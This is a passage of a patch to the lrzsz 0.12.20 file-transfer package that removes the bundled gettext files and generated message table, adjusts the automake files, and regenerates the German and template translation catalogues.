+--- clean/lrzsz-0.12.20/intl/VERSION 1998-04-26 14:22:37.000000000 +0100
++++ lrzsz-0.12.20/intl/VERSION 1970-01-01 01:00:00.000000000 +0100
+@@ -1 +0,0 @@
+-GNU gettext library from gettext-0.10.32
+diff -uprN clean/lrzsz-0.12.20/intl/xopen-msg.sed lrzsz-0.12.20/intl/xopen-msg.sed
+--- clean/lrzsz-0.12.20/intl/xopen-msg.sed 1998-04-26 14:20:52.000000000 +0100
++++ lrzsz-0.12.20/intl/xopen-msg.sed 1970-01-01 01:00:00.000000000 +0100
+@@ -1,104 +0,0 @@
+-# po2msg.sed - Convert Uniforum style .po file to X/Open style .msg file
+-# Copyright (C) 1995 Free Software Foundation, Inc.
+-# Ulrich Drepper <drepper@gnu.ai.mit.edu>, 1995.
+-#
+-# This program is free software; you can redistribute it and/or modify
+-# it under the terms of the GNU General Public License as published by
+-# the Free Software Foundation; either version 2, or (at your option)
+-# any later version.
+-#
+-# This program is distributed in the hope that it will be useful,
+-# but WITHOUT ANY WARRANTY; without even the implied warranty of
+-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+-# GNU General Public License for more details.
+-#
+-# You should have received a copy of the GNU General Public License
+-# along with this program; if not, write to the Free Software
+-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+-#
+-#
+-# The first directive in the .msg should be the definition of the
+-# message set number. We use always set number 1.
+-#
+-1 {
+- i\
+-$set 1 # Automatically created by po2msg.sed
+- h
+- s/.*/0/
+- x
+-}
+-#
+-# We copy all comments into the .msg file. Perhaps they can help.
+-#
+-/^#/ s/^#[ ]*/$ /p
+-#
+-# We copy the original message as a comment into the .msg file.
+-#
+-/^msgid/ {
+-# Does not work now
+-# /"$/! {
+-# s/\\$//
+-# s/$/ ... (more lines following)"/
+-# }
+- s/^msgid[ ]*"\(.*\)"$/$ Original Message: \1/
+- p
+-}
+-#
+-# The .msg file contains, other then the .po file, only the translations
+-# but each given a unique ID. Starting from 1 and incrementing by 1 for
+-# each message we assign them to the messages.
+-# It is important that the .po file used to generate the cat-id-tbl.c file
+-# (with po-to-tbl) is the same as the one used here. (At least the order
+-# of declarations must not be changed.)
+-#
+-/^msgstr/ {
+- s/msgstr[ ]*"\(.*\)"/\1/
+- x
+-# The following nice solution is by
+-# Bruno <Haible@ma2s2.mathematik.uni-karlsruhe.de>
+- td
+-# Increment a decimal number in pattern space.
+-# First hide trailing `9' digits.
+- :d
+- s/9\(_*\)$/_\1/
+- td
+-# Assure at least one digit is available.
+- s/^\(_*\)$/0\1/
+-# Increment the last digit.
+- s/8\(_*\)$/9\1/
+- s/7\(_*\)$/8\1/
+- s/6\(_*\)$/7\1/
+- s/5\(_*\)$/6\1/
+- s/4\(_*\)$/5\1/
+- s/3\(_*\)$/4\1/
+- s/2\(_*\)$/3\1/
+- s/1\(_*\)$/2\1/
+- s/0\(_*\)$/1\1/
+-# Convert the hidden `9' digits to `0's.
+- s/_/0/g
+- x
+-# Bring the line in the format `<number> <message>'
+- G
+- s/^[^\n]*$/& /
+- s/\(.*\)\n\([0-9]*\)/\2 \1/
+-# Clear flag from last substitution.
+- tb
+-# Append the next line.
+- :b
+- N
+-# Look whether second part is a continuation line.
+- s/\(.*\n\)"\(.*\)"/\1\2/
+-# Yes, then branch.
+- ta
+- P
+- D
+-# Note that `D' includes a jump to the start!!
+-# We found a continuation line. But before printing insert '\'.
+- :a
+- s/\(.*\)\(\n.*\)/\1\\\2/
+- P
+-# We cannot use the sed command `D' here
+- s/.*\n\(.*\)/\1/
+- tb
+-}
+-d
+diff -uprN clean/lrzsz-0.12.20/lib/Makefile.am lrzsz-0.12.20/lib/Makefile.am
+--- clean/lrzsz-0.12.20/lib/Makefile.am 1998-12-27 16:25:26.000000000 +0000
++++ lrzsz-0.12.20/lib/Makefile.am 2019-11-25 16:22:34.000000000 +0000
+@@ -1,6 +1,4 @@
+ noinst_LIBRARIES=libzmodem.a
+-CFLAGS=@CFLAGS@
+-AUTOMAKE_OPTIONS=ansi2knr
+
+ EXTRA_DIST = alloca.c ansi2knr.1 ansi2knr.c \
+ getopt.c getopt1.c mkdir.c mktime.c \
+diff -uprN clean/lrzsz-0.12.20/Makefile.am lrzsz-0.12.20/Makefile.am
+--- clean/lrzsz-0.12.20/Makefile.am 1998-12-30 11:19:40.000000000 +0000
++++ lrzsz-0.12.20/Makefile.am 2019-11-26 11:47:29.000000000 +0000
+@@ -1,5 +1,5 @@
+-SUBDIRS = lib intl src po man testsuite
+-EXTRA_DIST = check.lrzsz COMPATABILITY README.cvs README.isdn4linux \
++SUBDIRS = lib src po man testsuite
++EXTRA_DIST = config.rpath m4/ChangeLog check.lrzsz COMPATABILITY README.cvs README.isdn4linux \
+ README.gettext rpmrc buildrpm systype.in fastcheck.sh README.tests \
+ beos-runpiped.c fastcheck.beos
+ noinst_SCRIPTS=systype
+@@ -7,7 +7,6 @@ PR=@PACKAGE@-@VERSION@
+ CLEAN_FILES=fastcheck.done
+
+ dist-hook:
+- mkdir $(distdir)/debian
+ cp -fa $(srcdir)/debian/changelog $(distdir)/debian/
+ cp -fa $(srcdir)/debian/control $(distdir)/debian/
+ cp -fa $(srcdir)/debian/copyright $(distdir)/debian/
+@@ -83,3 +82,5 @@ cvs-dist:
+ rpm: $(PR).tar.gz Specfile
+ $(srcdir)/buildrpm $(srcdir)
+
++
++ACLOCAL_AMFLAGS = -I m4
+diff -uprN clean/lrzsz-0.12.20/po/cat-id-tbl.c lrzsz-0.12.20/po/cat-id-tbl.c
+--- clean/lrzsz-0.12.20/po/cat-id-tbl.c 1998-12-29 09:24:24.000000000 +0000
++++ lrzsz-0.12.20/po/cat-id-tbl.c 1970-01-01 01:00:00.000000000 +0100
+@@ -1,234 +0,0 @@
+-/* Automatically generated by po2tbl.sed from lrzsz.pot. */
+-
+-#if HAVE_CONFIG_H
+-# include <config.h>
+-#endif
+-
+-#include "libgettext.h"
+-
+-const struct _msg_ent _msg_tbl[] = {
+- {"", 1},
+- {"io_mode(,2) in rbsb.c not implemented\n", 2},
+- {"caught signal %d; exiting", 3},
+- {"command tries", 4},
+- {"packetlength", 5},
+- {"packetlength out of range 24..%ld", 6},
+- {"framelength", 7},
+- {"framelength out of range 32..%ld", 8},
+- {"min_bps", 9},
+- {"min_bps must be >= 0", 10},
+- {"min_bps_time", 11},
+- {"min_bps_time must be > 1", 12},
+- {"hour to large (0..23)", 13},
+- {"unparsable stop time\n", 14},
+- {"minute to large (0..59)", 15},
+- {"stop time to small", 16},
+- {"stop-at", 17},
+- {"timeout", 18},
+- {"timeout out of range 10..1000", 19},
+- {"security violation: can't do that under restricted shell\n", 20},
+- {"window size", 21},
+- {"cannot turnoff syslog", 22},
+- {"startup delay", 23},
+- {"out of memory", 24},
+- {"this program was never intended to be used setuid\n", 25},
+- {"need at least one file to send", 26},
+- {"Can't send command in restricted mode\n", 27},
+- {"hostname too long\n", 28},
+- {"illegal server address\n", 29},
+- {"can read only one file from stdin", 30},
+- {"Transfer incomplete\n", 31},
+- {"Transfer complete\n", 32},
+- {"send_pseudo %s: cannot open tmpfile %s: %s", 33},
+- {"send_pseudo %s: cannot lstat tmpfile %s: %s", 34},
+- {"send_pseudo %s: avoiding symlink trap", 35},
+- {"send_pseudo %s: cannot write to tmpfile %s: %s", 36},
+- {"send_pseudo %s: failed", 37},
+- {"send_pseudo %s: ok", 38},
+- {"tcp protocol init failed\n", 39},
+- {"Answering TIMESYNC at %s", 40},
+- {"timezone", 41},
+- {"timezone unknown", 42},
+- {"Can't open any requested files.", 43},
+- {"security violation: not allowed to upload from %s", 44},
+- {"cannot open %s", 45},
+- {"is not a file: %s", 46},
+- {"%s/%s: error occured", 47},
+- {"skipped: %s", 48},
+- {"%s/%s: skipped", 49},
+- {"Bytes Sent:%7ld BPS:%-8ld \n", 50},
+- {"Sending %s, %ld blocks: ", 51},
+- {"Give your local XMODEM receive command now.", 52},
+- {"Sending: %s\n", 53},
+- {"Timeout on pathname", 54},
+- {"Receiver Cancelled", 55},
+- {"No ACK on EOT", 56},
+- {"Xmodem sectors/kbytes sent: %3d/%2dk", 57},
+- {"Ymodem sectors/kbytes sent: %3d/%2dk", 58},
+- {"Cancelled", 59},
+- {"Timeout on sector ACK", 60},
+- {"NAK on sector", 61},
+- {"Got burst for sector ACK", 62},
+- {"Got %02x for sector ACK", 63},
+- {"Retry Count Exceeded", 64},
+- {"Try `%s --help' for more information.\n", 65},
+- {"%s version %s\n", 66},
+- {"Usage: %s [options] file ...\n", 67},
+- {" or: %s [options] -{c|i} COMMAND\n", 68},
+- {"Send file(s) with ZMODEM/YMODEM/XMODEM protocol\n", 69},
+- {"\
+- (X) = option applies to XMODEM only\n\
+- (Y) = option applies to YMODEM only\n\
+- (Z) = option applies to ZMODEM only\n", 70},
+- {"\
+- -+, --append append to existing destination file (Z)\n\
+- -2, --twostop use 2 stop bits\n\
+- -4, --try-4k go up to 4K blocksize\n\
+- --start-4k start with 4K blocksize (doesn't try 8)\n\
+- -8, --try-8k go up to 8K blocksize\n\
+- --start-8k start with 8K blocksize\n\
+- -a, --ascii ASCII transfer (change CR/LF to LF)\n\
+- -b, --binary binary transfer\n\
+- -B, --bufsize N buffer N bytes (N==auto: buffer whole file)\n\
+- -c, --command COMMAND execute remote command COMMAND (Z)\n\
+- -C, --command-tries N try N times to execute a command (Z)\n\
+- -d, --dot-to-slash change '.' to '/' in pathnames (Y/Z)\n\
+- --delay-startup N sleep N seconds before doing anything\n\
+- -e, --escape escape all control characters (Z)\n\
+- -E, --rename force receiver to rename files it already has\n\
+- -f, --full-path send full pathname (Y/Z)\n\
+- -i, --immediate-command CMD send remote CMD, return immediately (Z)\n\
+- -h, --help print this usage message\n\
+- -k, --1k send 1024 byte packets (X)\n\
+- -L, --packetlen N limit subpacket length to N bytes (Z)\n\
+- -l, --framelen N limit frame length to N bytes (l>=L) (Z)\n\
+- -m, --min-bps N stop transmission if BPS below N\n\
+- -M, --min-bps-time N for at least N seconds (default: 120)\n", 71},
+- {"\
+- -n, --newer send file if source newer (Z)\n\
+- -N, --newer-or-longer send file if source newer or longer (Z)\n\
+- -o, --16-bit-crc use 16 bit CRC instead of 32 bit CRC (Z)\n\
+- -O, --disable-timeouts disable timeout code, wait forever\n\
+- -p, --protect protect existing destination file (Z)\n\
+- -r, --resume resume interrupted file transfer (Z)\n\
+- -R, --restricted restricted, more secure mode\n\
+- -q, --quiet quiet (no progress reports)\n\
+- -s, --stop-at {HH:MM|+N} stop transmission at HH:MM or in N seconds\n\
+- --tcp build a TCP connection to transmit files\n\
+- --tcp-server open socket, wait for connection\n\
+- -u, --unlink unlink file after transmission\n\
+- -U, --unrestrict turn off restricted mode (if allowed to)\n\
+- -v, --verbose be verbose, provide debugging information\n\
+- -w, --windowsize N Window is N bytes (Z)\n\
+- -X, --xmodem use XMODEM protocol\n\
+- -y, --overwrite overwrite existing files\n\
+- -Y, --overwrite-or-skip overwrite existing files, else skip\n\
+- --ymodem use YMODEM protocol\n\
+- -Z, --zmodem use ZMODEM protocol\n\
+-\n\
+-short options use the same arguments as the long ones\n", 72},
+- {"got ZRQINIT", 73},
+- {"got ZCAN", 74},
+- {"blklen now %d\n", 75},
+- {"zsendfdata: bps rate %ld below min %ld", 76},
+- {"zsendfdata: reached stop time", 77},
+- {"Bytes Sent:%7ld/%7ld BPS:%-8ld ETA %02d:%02d ", 78},
+- {"calc_blklen: reduced to %d due to error\n", 79},
+- {"calc_blklen: returned old value %d due to low bpe diff\n", 80},
+- {"calc_blklen: old %ld, new %ld, d %ld\n", 81},
+- {"calc_blklen: calc total_bytes=%ld, bpe=%ld, ec=%ld\n", 82},
+- {"calc_blklen: blklen %d, ok %ld, failed %ld -> %lu\n", 83},
+- {"calc_blklen: returned %d as best\n", 84},
+- {"\
+-\n\
+-countem: Total %d %ld\n", 85},
+- {"Bad escape sequence %x", 86},
+- {"Sender Canceled", 87},
+- {"TIMEOUT", 88},
+- {"Bad data subpacket", 89},
+- {"Data subpacket too long", 90},
+- {"Garbage count exceeded", 91},
+- {"Got %s", 92},
+- {"Retry %d: ", 93},
+- {"don't have settimeofday, will not set time\n", 94},
+- {"not running as root (this is good!), can not set time\n", 95},
+- {"bytes_per_error", 96},
+- {"bytes-per-error should be >100", 97},
+- {"O_SYNC not supported by the kernel", 98},
+- {"garbage on commandline", 99},
+- {"Usage: %s [options] [filename.if.xmodem]\n", 100},
+- {"Receive files with ZMODEM/YMODEM/XMODEM protocol\n", 101},
+- {"\
+- -+, --append append to existing files\n\
+- -a, --ascii ASCII transfer (change CR/LF to LF)\n\
+- -b, --binary binary transfer\n\
+- -B, --bufsize N buffer N bytes (N==auto: buffer whole file)\n\
+- -c, --with-crc Use 16 bit CRC (X)\n\
+- -C, --allow-remote-commands allow execution of remote commands (Z)\n\
+- -D, --null write all received data to /dev/null\n\
+- --delay-startup N sleep N seconds before doing anything\n\
+- -e, --escape Escape control characters (Z)\n\
+- -E, --rename rename any files already existing\n\
+- --errors N generate CRC error every N bytes (debugging)\n\
+- -h, --help Help, print this usage message\n\
+- -m, --min-bps N stop transmission if BPS below N\n\
+- -M, --min-bps-time N for at least N seconds (default: 120)\n\
+- -O, --disable-timeouts disable timeout code, wait forever for data\n\
+- --o-sync open output file(s) in synchronous write mode\n\
+- -p, --protect protect existing files\n\
+- -q, --quiet quiet, no progress reports\n\
+- -r, --resume try to resume interrupted file transfer (Z)\n\
+- -R, --restricted restricted, more secure mode\n\
+- -s, --stop-at {HH:MM|+N} stop transmission at HH:MM or in N seconds\n\
+- -S, --timesync request remote time (twice: set local time)\n\
+- --syslog[=off] turn syslog on or off, if possible\n\
+- -t, --timeout N set timeout to N tenths of a second\n\
+- -u, --keep-uppercase keep upper case filenames\n\
+- -U, --unrestrict disable restricted mode (if allowed to)\n\
+- -v, --verbose be verbose, provide debugging information\n\
+- -w, --windowsize N Window is N bytes (Z)\n\
+- -X --xmodem use XMODEM protocol\n\
+- -y, --overwrite Yes, clobber existing file if any\n\
+- --ymodem use YMODEM protocol\n\
+- -Z, --zmodem use ZMODEM protocol\n\
+-\n\
+-short options use the same arguments as the long ones\n", 102},
+- {"%s waiting to receive.", 103},
+- {"\rBytes received: %7ld/%7ld BPS:%-6ld \r\n", 104},
+- {"%s: ready to receive %s", 105},
+- {"\rBytes received: %7ld BPS:%-6ld \r\n", 106},
+- {"\
+-\r\n\
+-%s: %s removed.\r\n", 107},
+- {"Pathname fetch returned EOT", 108},
+- {"Received dup Sector", 109},
+- {"Sync Error", 110},
+- {"CRC", 111},
+- {"Checksum", 112},
+- {"Sector number garbled", 113},
+- {"Sender Cancelled", 114},
+- {"Got 0%o sector header", 115},
+- {"file name ends with a /, skipped: %s\n", 116},
+- {"zmanag=%d, Lzmanag=%d\n", 117},
+- {"zconv=%d\n", 118},
+- {"file exists, skipped: %s\n", 119},
+- {"TIMESYNC: here %ld, remote %ld, diff %ld seconds\n", 120},
+- {"TIMESYNC: cannot set time: %s\n", 121},
+- {"cannot tmpfile() for tcp protocol synchronization", 122},
+- {"Topipe", 123},
+- {"Receiving: %s\n", 124},
+- {"Blocks received: %d", 125},
+- {"%s: %s exists\n", 126},
+- {"%s:\tSecurity Violation", 127},
+- {"remote command execution requested", 128},
+- {"not executed", 129},
+- {"got ZRINIT", 130},
+- {"Skipped", 131},
+- {"rzfile: bps rate %ld below min %ld", 132},
+- {"rzfile: reached stop time", 133},
+- {"\rBytes received: %7ld/%7ld BPS:%-6ld ETA %02d:%02d ", 134},
+- {"fgets for tcp protocol synchronization failed: ", 135},
+- {"file close error", 136},
+-};
+-
+-int _msg_tbl_length = 136;
+Binary files clean/lrzsz-0.12.20/po/de.gmo and lrzsz-0.12.20/po/de.gmo differ
+diff -uprN clean/lrzsz-0.12.20/po/de.po lrzsz-0.12.20/po/de.po
+--- clean/lrzsz-0.12.20/po/de.po 1998-12-30 16:31:46.000000000 +0000
++++ lrzsz-0.12.20/po/de.po 2019-11-26 11:42:07.000000000 +0000
+@@ -6,10 +6,12 @@
+ msgid ""
+ msgstr ""
+ "Project-Id-Version: PACKAGE VERSION\n"
+-"POT-Creation-Date: 1998-12-30 08:49+0100\n"
++"Report-Msgid-Bugs-To: \n"
++"POT-Creation-Date: 2019-11-26 11:39+0000\n"
+ "PO-Revision-Date: 1997-06-01 19:00+0200\n"
+ "Last-Translator: FULL NAME <uwe@ohse.de>\n"
+ "Language-Team: none. try <uwe@ohse.de>\n"
++"Language: de\n"
+ "MIME-Version: 1.0\n"
+ "Content-Type: text/plain; charset=iso-8859-1\n"
+ "Content-Transfer-Encoding: 8bit\n"
+@@ -18,7 +20,7 @@ msgstr ""
+ msgid "io_mode(,2) in rbsb.c not implemented\n"
+ msgstr "io_mode(2) in rbsb.c nicht implementiert\n"
+
+-#: src/lrz.c:201 src/lsz.c:230
++#: src/lsz.c:230 src/lrz.c:201
+ #, c-format
+ msgid "caught signal %d; exiting"
+ msgstr "erhielt Signal %d; Programmabbruch"
+@@ -45,7 +47,7 @@ msgstr "Framelnge"
+ msgid "framelength out of range 32..%ld"
+ msgstr "Argument der Option l auerhalb des Bereichs 32..%ld"
+
+-#: src/lrz.c:323 src/lsz.c:450
++#: src/lsz.c:450 src/lrz.c:323
+ msgid "min_bps"
+ msgstr "minimale BPS-Rate"
+
+@@ -53,65 +55,65 @@ msgstr "minimale BPS-Rate"
+ msgid "min_bps must be >= 0"
+ msgstr "minimale BPS-Rate mu >= 0 sein"
+
+-#: src/lrz.c:329 src/lsz.c:458
++#: src/lsz.c:458 src/lrz.c:329
+ msgid "min_bps_time"
+ msgstr ""
+
+-#: src/lrz.c:331 src/lsz.c:460
++#: src/lsz.c:460 src/lrz.c:331
+ msgid "min_bps_time must be > 1"
+ msgstr "Zeitfenster fr minimale BPS-Rate mu > 1 Sekunde sein"
+
+-#: src/lrz.c:347 src/lsz.c:484
++#: src/lsz.c:484 src/lrz.c:347
+ msgid "hour to large (0..23)"
+ msgstr "Stunde zu gross (0..23)"
+
+-#: src/lrz.c:349 src/lsz.c:486
++#: src/lsz.c:486 src/lrz.c:349
+ msgid "unparsable stop time\n"
+ msgstr "unparsbare Endzeit\n"
+
+-#: src/lrz.c:353 src/lsz.c:490
++#: src/lsz.c:490 src/lrz.c:353
+ msgid "minute to large (0..59)"
+ msgstr "Minute zu gro (0..59)"
+
+-#: src/lrz.c:363 src/lrz.c:370 src/lsz.c:500 src/lsz.c:507
++#: src/lsz.c:500 src/lsz.c:507 src/lrz.c:363 src/lrz.c:370
+ msgid "stop time to small"
+ msgstr "Stopzeit zu kurz"
+
+-#: src/lrz.c:368 src/lsz.c:505
++#: src/lsz.c:505 src/lrz.c:368
+ msgid "stop-at"
+ msgstr ""
+
+-#: src/lrz.c:399 src/lsz.c:516
++#: src/lsz.c:516 src/lrz.c:399
+ msgid "timeout"
+ msgstr "Timeout"
+
+-#: src/lrz.c:401 src/lsz.c:518
++#: src/lsz.c:518 src/lrz.c:401
+ msgid "timeout out of range 10..1000"
+ msgstr "Argument der Option t auerhalb des Bereichs 10..1000"
+
+-#: src/lrz.c:417 src/lsz.c:526
++#: src/lsz.c:526 src/lrz.c:417
+ msgid "security violation: can't do that under restricted shell\n"
+ msgstr "Sicherheitsversto: Ausfhrung unter eingeschrnkter Shell verboten\n"
+
+-#: src/lrz.c:407 src/lsz.c:533
++#: src/lsz.c:533 src/lrz.c:407
+ msgid "window size"
+ msgstr "Fenstergre"
+
+-#: src/lrz.c:432 src/lrz.c:439 src/lsz.c:556 src/lsz.c:563
++#: src/lsz.c:556 src/lsz.c:563 src/lrz.c:432 src/lrz.c:439
+ msgid "cannot turnoff syslog"
+ msgstr "kann syslogging nicht abschalten"
+
+-#: src/lrz.c:454 src/lsz.c:571
++#: src/lsz.c:571 src/lrz.c:454
+ msgid "startup delay"
+ msgstr "Startverzgerung"
+
++#: src/lsz.c:583 src/lsz.c:692 src/lsz.c:831 src/lsz.c:1080 src/zreadline.c:127
+ #: src/lrz.c:470 src/lrz.c:755 src/lrz.c:1117 src/lrz.c:1243 src/lrz.c:1300
+-#: src/lrz.c:1317 src/lrz.c:1332 src/lrz.c:1431 src/lsz.c:583 src/lsz.c:692
+-#: src/lsz.c:831 src/lsz.c:1080 src/zreadline.c:127
++#: src/lrz.c:1317 src/lrz.c:1332 src/lrz.c:1431
+ msgid "out of memory"
+ msgstr "Kein Speicher mehr frei"
+
+-#: src/lrz.c:480 src/lsz.c:595
++#: src/lsz.c:595 src/lrz.c:480
+ msgid "this program was never intended to be used setuid\n"
+ msgstr "dieses Programm darf nicht setuid laufen\n"
+
+@@ -120,14 +122,15 @@ msgid "need at least one file to send"
+ msgstr "es mu mindestens ein Name einer zu sendenden Datei angegeben werden"
+
+ #: src/lsz.c:628
++#, c-format
+ msgid "Can't send command in restricted mode\n"
+ msgstr "Im eingeschrnkten Modus ist das Senden von Kommandos verboten\n"
+
+-#: src/lrz.c:524 src/lsz.c:655
++#: src/lsz.c:655 src/lrz.c:524
+ msgid "hostname too long\n"
+ msgstr "Hostname zu lang\n"
+
+-#: src/lrz.c:539 src/lsz.c:670
++#: src/lsz.c:670 src/lrz.c:539
+ msgid "illegal server address\n"
+ msgstr "Illegale Serveraddresse\n"
+
+@@ -135,11 +138,11 @@ msgstr "Illegale Serveraddresse\n"
+ msgid "can read only one file from stdin"
+ msgstr "kann nur eine Datei von der Standardeingabe lesen"
+
+-#: src/lrz.c:571 src/lsz.c:806
++#: src/lsz.c:806 src/lrz.c:571
+ msgid "Transfer incomplete\n"
+ msgstr "bertragung nicht abgeschlossen\n"
+
+-#: src/lrz.c:573 src/lsz.c:808
++#: src/lsz.c:808 src/lrz.c:573
+ msgid "Transfer complete\n"
+ msgstr "bertragung abgeschlossen\n"
+
+@@ -197,9 +200,9 @@ msgstr "Kann keine der angeforderten Dat
+ #: src/lsz.c:1028
+ #, c-format
+ msgid "security violation: not allowed to upload from %s"
+-msgstr "Sicherheitsversto: Ausfhrung unter eingeschrnkter Shell verboten"
++msgstr "Sicherheitsversto: Ausfhrung unter %s verboten"
+
+-#: src/lrz.c:1392 src/lsz.c:1046
++#: src/lsz.c:1046 src/lrz.c:1392
+ #, c-format
+ msgid "cannot open %s"
+ msgstr "kann %s nicht ffnen"
+@@ -290,12 +293,12 @@ msgstr "Erhielt %02x als Sektorbesttigu
+ msgid "Retry Count Exceeded"
+ msgstr "Maximale Wiederholungsanzahl berschritten"
+
+-#: src/lrz.c:593 src/lsz.c:1521
++#: src/lsz.c:1521 src/lrz.c:593
+ #, c-format
+ msgid "Try `%s --help' for more information.\n"
+ msgstr "`%s --help' gibt weitere Informationen.\n"
+
+-#: src/lrz.c:598 src/lsz.c:1526
++#: src/lsz.c:1526 src/lrz.c:598
+ #, c-format
+ msgid "%s version %s\n"
+ msgstr "%s Version %s\n"
+@@ -315,7 +318,7 @@ msgid "Send file(s) with ZMODEM/YMODEM/X
+ msgstr "Dateien mit ZMODEM/YMODEM/XMODEM bertragen\n"
+
+ # src/lrz.c:475 src/lsz.c:1330 xx
+-#: src/lrz.c:604 src/lsz.c:1534
++#: src/lsz.c:1534 src/lrz.c:604
+ msgid ""
+ " (X) = option applies to XMODEM only\n"
+ " (Y) = option applies to YMODEM only\n"
+@@ -431,7 +434,7 @@ msgstr ""
+ msgid "got ZRQINIT"
+ msgstr "erhielt ZRQINIT"
+
+-#: src/lrz.c:1074 src/lrz.c:1787 src/lsz.c:1792
++#: src/lsz.c:1792 src/lrz.c:1074 src/lrz.c:1787
+ msgid "got ZCAN"
+ msgstr "erhielt ZCAN"
+
+@@ -472,7 +475,7 @@ msgstr "calc_blklen: alt %ld, neu %ld, D
+ #: src/lsz.c:2272
+ #, c-format
+ msgid "calc_blklen: calc total_bytes=%ld, bpe=%ld, ec=%ld\n"
+-msgstr "calc_blklen: kalkuliere gesamt_bytes=%ld, bpe=%le, ec=%ld\n"
++msgstr "calc_blklen: kalkuliere gesamt_bytes=%ld, bpe=%ld, ec=%ld\n"
+
+ #: src/lsz.c:2283
+ #, c-format
+@@ -493,6 +496,10 @@ msgstr ""
+ "\n"
+ "countem: Gesamt %d %ld\n"
+
++#: src/zm.c:91
++msgid "Bad CRC"
++msgstr ""
++
+ #: src/zm.c:244
+ #, c-format
+ msgid "Bad escape sequence %x"
+@@ -502,7 +509,7 @@ msgstr "Falsche Escapesequenz %x"
+ msgid "Sender Canceled"
+ msgstr "Sender brach ab"
+
+-#: src/lrz.c:997 src/zm.c:585 src/zm.c:644
++#: src/zm.c:585 src/zm.c:644 src/lrz.c:997
+ msgid "TIMEOUT"
+ msgstr "TIMEOUT"
+
+@@ -772,13 +779,11 @@ msgstr "Erhielt unerwartetes ZRINIT"
+ msgid "Skipped"
+ msgstr "bersprungen"
+
+-#. too bad
+ #: src/lrz.c:2064
+ #, c-format
+ msgid "rzfile: bps rate %ld below min %ld"
+ msgstr "rzfile: BPS-Rate %ld unter Minimum %ld"
+
+-#. too bad
+ #: src/lrz.c:2079
+ msgid "rzfile: reached stop time"
+ msgstr "rzfile: Abbruchzeit erreicht"
+diff -uprN clean/lrzsz-0.12.20/po/lrzsz.pot lrzsz-0.12.20/po/lrzsz.pot
+--- clean/lrzsz-0.12.20/po/lrzsz.pot 1998-12-30 07:50:00.000000000 +0000
++++ lrzsz-0.12.20/po/lrzsz.pot 2019-11-26 11:39:12.000000000 +0000
+@@ -1,24 +1,27 @@
+ # SOME DESCRIPTIVE TITLE.
+ # Copyright (C) YEAR Free Software Foundation, Inc.
++# This file is distributed under the same license as the lrzsz package.
+ # FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
+ #
+ #, fuzzy
+ msgid ""
+ msgstr ""
+-"Project-Id-Version: PACKAGE VERSION\n"
+-"POT-Creation-Date: 1998-12-30 08:49+0100\n"
++"Project-Id-Version: lrzsz 0.12.20\n"
++"Report-Msgid-Bugs-To: \n"
++"POT-Creation-Date: 2019-11-26 11:39+0000\n"
+ "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
+ "Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+ "Language-Team: LANGUAGE <LL@li.org>\n"
++"Language: \n"
+ "MIME-Version: 1.0\n"
+ "Content-Type: text/plain; charset=CHARSET\n"
+-"Content-Transfer-Encoding: ENCODING\n"
++"Content-Transfer-Encoding: 8bit\n"
+
+ #: src/lsz.c:228
+ msgid "io_mode(,2) in rbsb.c not implemented\n"
+ msgstr ""
+
+-#: src/lrz.c:201 src/lsz.c:230
++#: src/lsz.c:230 src/lrz.c:201
+ #, c-format
+ msgid "caught signal %d; exiting"
+ msgstr ""
+@@ -45,7 +48,7 @@ msgstr ""
+ msgid "framelength out of range 32..%ld"
+ msgstr ""
+
+-#: src/lrz.c:323 src/lsz.c:450
++#: src/lsz.c:450 src/lrz.c:323
+ msgid "min_bps"
+ msgstr ""
+
+@@ -53,65 +56,65 @@ msgstr ""
+ msgid "min_bps must be >= 0"
+ msgstr ""
+
+-#: src/lrz.c:329 src/lsz.c:458
++#: src/lsz.c:458 src/lrz.c:329
+ msgid "min_bps_time"
+ msgstr ""
+
+-#: src/lrz.c:331 src/lsz.c:460
++#: src/lsz.c:460 src/lrz.c:331
+ msgid "min_bps_time must be > 1"
+ msgstr ""
+
+-#: src/lrz.c:347 src/lsz.c:484
++#: src/lsz.c:484 src/lrz.c:347
+ msgid "hour to large (0..23)"
+ msgstr ""
+
+-#: src/lrz.c:349 src/lsz.c:486
++#: src/lsz.c:486 src/lrz.c:349
+ msgid "unparsable stop time\n"
+ msgstr ""
+
+-#: src/lrz.c:353 src/lsz.c:490
++#: src/lsz.c:490 src/lrz.c:353
+ msgid "minute to large (0..59)"
+ msgstr ""
+
+-#: src/lrz.c:363 src/lrz.c:370 src/lsz.c:500 src/lsz.c:507
++#: src/lsz.c:500 src/lsz.c:507 src/lrz.c:363 src/lrz.c:370
+ msgid "stop time to small"
+ msgstr ""
+
+-#: src/lrz.c:368 src/lsz.c:505
++#: src/lsz.c:505 src/lrz.c:368
+ msgid "stop-at"
+ msgstr ""
+
+-#: src/lrz.c:399 src/lsz.c:516
++#: src/lsz.c:516 src/lrz.c:399
+ msgid "timeout"
+ msgstr ""
+
+-#: src/lrz.c:401 src/lsz.c:518
++#: src/lsz.c:518 src/lrz.c:401
+ msgid "timeout out of range 10..1000"
+ msgstr ""
+
+-#: src/lrz.c:417 src/lsz.c:526
++#: src/lsz.c:526 src/lrz.c:417
+ msgid "security violation: can't do that under restricted shell\n"
+ msgstr ""
+
+-#: src/lrz.c:407 src/lsz.c:533
++#: src/lsz.c:533 src/lrz.c:407
+ msgid "window size"
+ msgstr ""
+
+-#: src/lrz.c:432 src/lrz.c:439 src/lsz.c:556 src/lsz.c:563
++#: src/lsz.c:556 src/lsz.c:563 src/lrz.c:432 src/lrz.c:439
+ msgid "cannot turnoff syslog"
+ msgstr ""
+
+-#: src/lrz.c:454 src/lsz.c:571
++#: src/lsz.c:571 src/lrz.c:454
+ msgid "startup delay"
+ msgstr ""
+
++#: src/lsz.c:583 src/lsz.c:692 src/lsz.c:831 src/lsz.c:1080 src/zreadline.c:127
+ #: src/lrz.c:470 src/lrz.c:755 src/lrz.c:1117 src/lrz.c:1243 src/lrz.c:1300
+-#: src/lrz.c:1317 src/lrz.c:1332 src/lrz.c:1431 src/lsz.c:583 src/lsz.c:692
+-#: src/lsz.c:831 src/lsz.c:1080 src/zreadline.c:127
++#: src/lrz.c:1317 src/lrz.c:1332 src/lrz.c:1431
+ msgid "out of memory"
+ msgstr ""
+
+-#: src/lrz.c:480 src/lsz.c:595
++#: src/lsz.c:595 src/lrz.c:480
